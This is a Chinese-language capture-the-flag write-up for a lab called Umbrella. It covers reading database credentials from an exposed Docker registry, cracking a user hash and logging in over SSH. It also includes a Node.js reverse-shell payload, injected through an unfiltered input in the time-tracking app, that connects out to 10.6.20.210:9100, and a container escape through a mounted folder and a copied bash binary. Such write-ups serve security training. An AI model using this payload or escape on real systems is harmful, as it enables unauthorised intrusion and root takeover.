靶场介绍
Breach Umbrella Corp’s time-tracking server by exploiting misconfigurations around containerisation.
利用集装箱化的错误配置,破坏Umbrella公司的时间跟踪服务器。
Task 1
What is the DB password?
数据库的密码是多少?
端口扫描,发现开放了22、3306、5000、8080端口
首先看8080端口,是一个用户名密码的登录界面
使用dirsearch对其进行扫描,但是发现没有有价值的信息
于是将目光转移到5000端口上,在hacktricks官网查阅相关资料后,发现5000端口的利用方式如下
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.
Some fingerprints:
If you access / nothing is returned in the response
If you access /v2/ then {} is returned
If you access /v2/_catalog you may obtain:{"repositories":["alpine","ubuntu"]}{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail": [{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
可以在url后方加上/v2/_catalog查看是否存在信息泄露
接下去跟踪/umbrella/timetracking模块
继续跟踪latest模块
仔细翻阅后能够看到数据库用户、密码、数据表等等信息
Answer 1:Ng1-f3!Pe7-e5*****
·
What is the user flag?
用户标识符是什么?
进入数据库,查看是否能够获取到更多信息
查看数据库
进入timetracking库,查看数据表
发现只有一个users表,直接将内容都显示出来
这里将第一个用户的密码通过md5解密出来
使用他去登录8080的网站
发现是一个时间跟踪应用程序,暂无利用点,尝试用该用户登录SSH
查看用户标识符
Answer 2:THM{**********}
·
What is the root flag?
root的标识符是什么?
查看yml配置文件,发现
能够发现:它将./logs挂载到容器中的/logs,回到刚刚的8080网页,尝试随意输入一段数字
发现右边的数值就会+2,尝试输入一段字符串
不会有任何变化
查看前端界面app.js文件
发现代码中并没有对我们的输入进行过滤
var a = 2; a;(() => 3)()
上述代码均会将继续添加时间
利用漏洞,构造一段反弹shell
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(9100, "10.6.20.210", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
kali上开启监听
但是这是在docker容器中的root权限,我们还需要将其提升到本地权限
将/bin/bash复制到timeTracker-src文件夹中
接下来,修改容器内的权限
在claire-r用户执行bash -p以获得root权限
Answer 3:THM{*******}